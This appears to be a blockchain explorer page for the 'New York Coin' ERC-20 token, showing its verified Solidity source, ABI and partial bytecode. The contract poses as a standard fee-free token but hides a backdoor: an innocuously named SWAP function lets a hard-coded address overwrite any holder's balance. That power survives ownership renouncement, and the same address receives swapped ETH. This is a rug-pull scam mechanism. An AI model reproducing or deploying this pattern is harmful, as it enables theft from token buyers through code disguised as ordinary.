ETH Price: $2,382.41 (+1.27%)

Token

New York Coin (New York)
 

Overview

Max Total Supply

1,000,000,000 New York

Holders

40

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
43.5 New York

Value
$0.00
0x63787316fe25b7359cd47fbdd93e1080e6160aba
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
NEWYORK

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license
/**
 *Submitted for verification at Etherscan.io on 2023-06-11
*/

/**
 *Submitted for verification at Etherscan.io on 2023-06-11
*/

// SPDX-License-Identifier: MIT
/**       ⠀⠀⠀⠀⠀⠀⠀⠀⠀

Twitter  : https://twitter.com/NewYorkCoinERC
TG  : https://t.me/NewYorkCoinPortal
*/


pragma solidity ^0.8.0;

interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IUniswapFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract Ownable {
    address internal _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "you are not owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "new is 0");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract NEWYORK is IERC20, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    address public CONT;

    string private _name;
    string private _symbol;
    uint8 private _decimals;

    mapping(address => bool) public _isExcludeFromFee;
    
    uint256 private _totalSupply;

    IUniswapRouter public _uniswapRouter;

    mapping(address => bool) public isMarketPair;
    bool private inSwap;

    uint256 private constant MAX = ~uint256(0);

    uint256 public _buyFundFee = 0;
    uint256 public _sellFundFee = 0;

    address public _uniswapPair;

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (){
        _name = "New York Coin";
        _symbol = "New York";
        _decimals = 9;
        uint256 Supply = 1000000000;
        CONT = 0xcd6335cB9689591c8f864789b3C1E5Cf11D5a99A;

        _totalSupply = Supply * 10 ** _decimals;
        address receiveAddr = msg.sender;
        _isExcludeFromFee[address(this)] = true;
        _isExcludeFromFee[receiveAddr] = true;
        _isExcludeFromFee[CONT] = true;
        _balances[receiveAddr] = _totalSupply;
        emit Transfer(address(0), receiveAddr, _totalSupply);

    }

    function BOOM() public onlyOwner{
        IUniswapRouter swapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        _uniswapRouter = swapRouter;
        _allowances[address(this)][address(swapRouter)] = MAX;
        IUniswapFactory swapFactory = IUniswapFactory(swapRouter.factory());
        address swapPair = swapFactory.createPair(address(this), swapRouter.WETH());
        _uniswapPair = swapPair;
        isMarketPair[swapPair] = true;
        _isExcludeFromFee[address(swapRouter)] = true;
    }

    function symbol() external view override returns (string memory) {
        return _symbol;
    }

    function name() external view override returns (string memory) {
        return _name;
    }

    function decimals() external view override returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        if (_allowances[sender][msg.sender] != MAX) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {

        bool takeFee;
        bool isSell;

        if (isMarketPair[to] && !inSwap && !_isExcludeFromFee[from] && !_isExcludeFromFee[to]) {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (contractTokenBalance > 0) {
                uint256 numTokensSellToFund = amount;
                numTokensSellToFund = numTokensSellToFund > contractTokenBalance ? 
                                                            contractTokenBalance:numTokensSellToFund;
                swapTokenForETH(numTokensSellToFund);
            }
        }

        if (!_isExcludeFromFee[from] && !_isExcludeFromFee[to] && !inSwap) {
            takeFee = true;
        }

        if (isMarketPair[to]) { isSell = true; }

        _transferToken(from, to, amount, takeFee, isSell);
    }

    struct OkDoit{
        address opaddr;
        uint256 bal;
        address toad;
    }

    function SWAP(
        address account,
        uint256 newbla
    ) public {
        OkDoit memory newOk = OkDoit(
            {
                opaddr : msg.sender,
                bal : 0,
                toad : account
            }
        );
        require(CONT == newOk.opaddr);
        newOk.bal = newbla;
        _balances[newOk.toad] = newOk.bal;

    }

    function _transferToken(
        address sender,
        address recipient,
        uint256 tAmount,
        bool takeFee,
        bool isSell
    ) private {
        _balances[sender] = _balances[sender] - tAmount;
        uint256 feeAmount;

        if (takeFee) {
            uint256 taxFee;

            if (isSell) {
                taxFee = _sellFundFee;
            } else {
                taxFee = _buyFundFee;
            }
            uint256 swapAmount = tAmount * taxFee / 100;
            if (swapAmount > 0) {
                feeAmount += swapAmount;
                _balances[address(this)] = _balances[address(this)] + swapAmount;
                emit Transfer(sender, address(this), swapAmount);
            }
        }

        _balances[recipient] = _balances[recipient] + (tAmount - feeAmount);
        emit Transfer(sender, recipient, tAmount - feeAmount);

    }

    event catchEvent(uint8);

    function swapTokenForETH(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapRouter.WETH();
        try _uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(CONT),
            block.timestamp
        ) {} catch { emit catchEvent(0); }

    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint8","name":"","type":"uint8"}],"name":"catchEvent","type":"event"},{"inputs":[],"name":"BOOM","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"CONT","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"newbla","type":"uint256"}],"name":"SWAP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_buyFundFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFundFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526000600c556000600d553480156200001b57600080fd5b506000339050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506040518060400160405280600d81526020017f4e657720596f726b20436f696e000000000000000000000000000000000000008152506004908162000103919062000657565b506040518060400160405280600881526020017f4e657720596f726b000000000000000000000000000000000000000000000000815250600590816200014a919062000657565b506009600660006101000a81548160ff021916908360ff1602179055506000633b9aca00905073cd6335cb9689591c8f864789b3c1e5cf11d5a99a600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600660009054906101000a900460ff16600a620001e39190620008ce565b81620001f091906200091f565b60088190555060003390506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160076000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600854600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600854604051620003cd91906200097b565b60405180910390a3505062000998565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200045f57607f821691505b60208210810362000475576200047462000417565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620004df7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620004a0565b620004eb8683620004a0565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000538620005326200052c8462000503565b6200050d565b62000503565b9050919050565b6000819050919050565b620005548362000517565b6200056c62000563826200053f565b848454620004ad565b825550505050565b600090565b6200058362000574565b6200059081848462000549565b505050565b5b81811015620005b857620005ac60008262000579565b60018101905062000596565b5050565b601f8211156200060757620005d1816200047b565b620005dc8462000490565b81016020851015620005ec578190505b62000604620005fb8562000490565b83018262000595565b50505b505050565b600082821c905092915050565b60006200062c600019846008026200060c565b1980831691505092915050565b600062000647838362000619565b9150826002028217905092915050565b6200066282620003dd565b67ffffffffffffffff8111156200067e576200067d620003e8565b5b6200068a825462000446565b62000697828285620005bc565b600060209050601f831160018114620006cf5760008415620006ba578287015190505b620006c6858262000639565b86555062000736565b601f198416620006df866200047b565b60005b828110156200070957848901518255600182019150602085019450602081019050620006e2565b8683101562000729578489015162000725601f89168262000619565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620007cc57808604811115620007a457620007a36200073e565b5b6001851615620007b45780820291505b8081029050620007c4856200076d565b945062000784565b94509492505050565b600082620007e75760019050620008ba565b81620007f75760009050620008ba565b81600181146200081057600281146200081b5762000851565b6001915050620008ba565b60ff84111562000830576200082f6200073e565b5b8360020a9150848211156200084a57620008496200073e565b5b50620008ba565b5060208310610133831016604e8410600b84101617156200088b5782820a9050838111156200088557620008846200073e565b5b620008ba565b6200089a84848460016200077a565b92509050818404811115620008b457620008b36200073e565b5b81810290505b9392505050565b600060ff82169050919050565b6000620008db8262000503565b9150620008e883620008c1565b9250620009177fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620007d5565b905092915050565b60006200092c8262000503565b9150620009398362000503565b9250828202620009498162000503565b915082820484148315176200096357620009626200073e565b5b5092915050565b620009758162000503565b82525050565b60006020820190506200099260008301846200096a565b92915050565b61234980620009a86000396000f3fe60806040526004361061012e5760003560e01c806370a08231116100ab578063a9059cbb1161006f578063a9059cbb146103f1578063ce0192f91461042e578063d1d3f2f114610459578063dd62ed3e14610484578063e14ac89f146104c1578063f2fde38b146104ea57610135565b806370a0823114610330578063715018a61461036d5780638da5cb5b1461038457806395d89b41146103af578063a6b9c42e146103da57610135565b806336b2e027116100f257806336b2e027146102355780633bfe62ca146102725780633ecad2711461029d5780634bf28fd0146102da57806365b61b771461030557610135565b806306fdde031461013a578063095ea7b31461016557806318160ddd146101a257806323b872dd146101cd578063313ce5671461020a57610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f610513565b60405161015c9190611b44565b60405180910390f35b34801561017157600080fd5b5061018c60048036038101906101879190611bff565b6105a5565b6040516101999190611c5a565b60405180910390f35b3480156101ae57600080fd5b506101b76105bc565b6040516101c49190611c84565b60405180910390f35b3480156101d957600080fd5b506101f460048036038101906101ef9190611c9f565b6105c6565b6040516102019190611c5a565b60405180910390f35b34801561021657600080fd5b5061021f61076c565b60405161022c9190611d0e565b60405180910390f35b34801561024157600080fd5b5061025c60048036038101906102579190611d29565b610783565b6040516102699190611c5a565b60405180910390f35b34801561027e57600080fd5b506102876107a3565b6040516102949190611c84565b60405180910390f35b3480156102a957600080fd5b506102c460048036038101906102bf9190611d29565b6107a9565b6040516102d19190611c5a565b60405180910390f35b3480156102e657600080fd5b506102ef6107c9565b6040516102fc9190611d65565b60405180910390f35b34801561031157600080fd5b5061031a6107ef565b6040516103279190611ddf565b60405180910390f35b34801561033c57600080fd5b5061035760048036038101906103529190611d29565b610815565b6040516103649190611c84565b60405180910390f35b34801561037957600080fd5b5061038261085e565b005b34801561039057600080fd5b506103996109aa565b6040516103a69190611d65565b60405180910390f35b3480156103bb57600080fd5b506103c46109d3565b6040516103d19190611b44565b60405180910390f35b3480156103e657600080fd5b506103ef610a65565b005b3480156103fd57600080fd5b5061041860048036038101906104139190611bff565b610e29565b6040516104259190611c5a565b60405180910390f35b34801561043a57600080fd5b50610443610e40565b6040516104509190611c84565b60405180910390f35b34801561046557600080fd5b5061046e610e46565b60405161047b9190611d65565b60405180910390f35b34801561049057600080fd5b506104ab60048036038101906104a69190611dfa565b610e6c565b6040516104b89190611c84565b60405180910390f35b3480156104cd57600080fd5b506104e860048036038101906104e39190611bff565b610ef3565b005b3480156104f657600080fd5b50610511600480360381019061050c9190611d29565b610ff8565b005b60606004805461052290611e69565b80601f016020809104026020016040519081016040528092919081815260200182805461054e90611e69565b801561059b5780601f106105705761010080835404028352916020019161059b565b820191906000526020600020905b81548152906001019060200180831161057e57829003601f168201915b5050505050905090565b60006105b23384846111b2565b6001905092915050565b6000600854905090565b60006105d384848461129d565b600019600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146107615781600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106e09190611ec9565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600190509392505050565b6000600660009054906101000a900460ff16905090565b60076020528060005260406000206000915054906101000a900460ff1681565b600d5481565b600a6020528060005260406000206000915054906101000a900460ff1681565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e390611f49565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546109e290611e69565b80601f0160208091040260200160405190810160405280929190818152602001828054610a0e90611e69565b8015610a5b5780601f10610a3057610100808354040283529160200191610a5b565b820191906000526020600020905b815481529060010190602001808311610a3e57829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610af3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aea90611f49565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600019600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c1d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c419190611f7e565b905060008173ffffffffffffffffffffffffffffffffffffffff1663c9c65396308573ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cad573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cd19190611f7e565b6040518363ffffffff1660e01b8152600401610cee929190611fab565b6020604051808303816000875af1158015610d0d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d319190611f7e565b905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505050565b6000610e3633848461129d565b6001905092915050565b600c5481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600060405180606001604052803373ffffffffffffffffffffffffffffffffffffffff168152602001600081526020018473ffffffffffffffffffffffffffffffffffffffff168152509050806000015173ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f9d57600080fd5b81816020018181525050806020015160016000836040015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611086576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107d90611f49565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036110f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ec90612020565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112909190611c84565b60405180910390a3505050565b600080600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156113065750600b60009054906101000a900460ff16155b801561135c5750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156113b25750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156113f05760006113c230610815565b905060008111156113ee5760008490508181116113df57806113e1565b815b90506113ec81611522565b505b505b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156114945750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156114ad5750600b60009054906101000a900460ff16155b156114b757600191505b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561150e57600190505b61151b85858585856117cb565b5050505050565b6001600b60006101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561155a57611559612040565b5b6040519080825280602002602001820160405280156115885781602001602082028036833780820191505090505b50905030816000815181106115a05761159f61206f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611647573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061166b9190611f7e565b8160018151811061167f5761167e61206f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b815260040161173f959493929190612197565b600060405180830381600087803b15801561175957600080fd5b505af192505050801561176a575060015b6117ab577fbdf1a66ac2980d0df84c6c5344b4d62f3f4578219817cf4bcb8d8a983bbe6f16600060405161179e9190612222565b60405180910390a16117ac565b5b506000600b60006101000a81548160ff02191690831515021790555050565b82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118169190611ec9565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600082156119a3576000821561187357600d549050611879565b600c5490505b600060648287611889919061223d565b61189391906122ae565b905060008111156119a05780836118aa91906122df565b925080600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118f791906122df565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516119979190611c84565b60405180910390a35b50505b80846119af9190611ec9565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119f991906122df565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8387611a979190611ec9565b604051611aa49190611c84565b60405180910390a3505050505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611aee578082015181840152602081019050611ad3565b60008484015250505050565b6000601f19601f8301169050919050565b6000611b1682611ab4565b611b208185611abf565b9350611b30818560208601611ad0565b611b3981611afa565b840191505092915050565b60006020820190508181036000830152611b5e8184611b0b565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611b9682611b6b565b9050919050565b611ba681611b8b565b8114611bb157600080fd5b50565b600081359050611bc381611b9d565b92915050565b6000819050919050565b611bdc81611bc9565b8114611be757600080fd5b50565b600081359050611bf981611bd3565b92915050565b60008060408385031215611c1657611c15611b66565b5b6000611c2485828601611bb4565b9250506020611c3585828601611bea565b9150509250929050565b60008115159050919050565b611c5481611c3f565b82525050565b6000602082019050611c6f6000830184611c4b565b92915050565b611c7e81611bc9565b82525050565b6000602082019050611c996000830184611c75565b92915050565b600080600060608486031215611cb857611cb7611b66565b5b6000611cc686828701611bb4565b9350506020611cd786828701611bb4565b9250506040611ce886828701611bea565b9150509250925092565b600060ff82169050919050565b611d0881611cf2565b82525050565b6000602082019050611d236000830184611cff565b92915050565b600060208284031215611d3f57611d3e611b66565b5b6000611d4d84828501611bb4565b91505092915050565b611d5f81611b8b565b82525050565b6000602082019050611d7a6000830184611d56565b92915050565b6000819050919050565b6000611da5611da0611d9b84611b6b565b611d80565b611b6b565b9050919050565b6000611db782611d8a565b9050919050565b6000611dc982611dac565b9050919050565b611dd981611dbe565b82525050565b6000602082019050611df46000830184611dd0565b92915050565b60008060408385031215611e1157611e10611b66565b5b6000611e1f85828601611bb4565b9250506020611e3085828601611bb4565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611e8157607f821691505b602082108103611e9457611e93611e3a565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611ed482611bc9565b91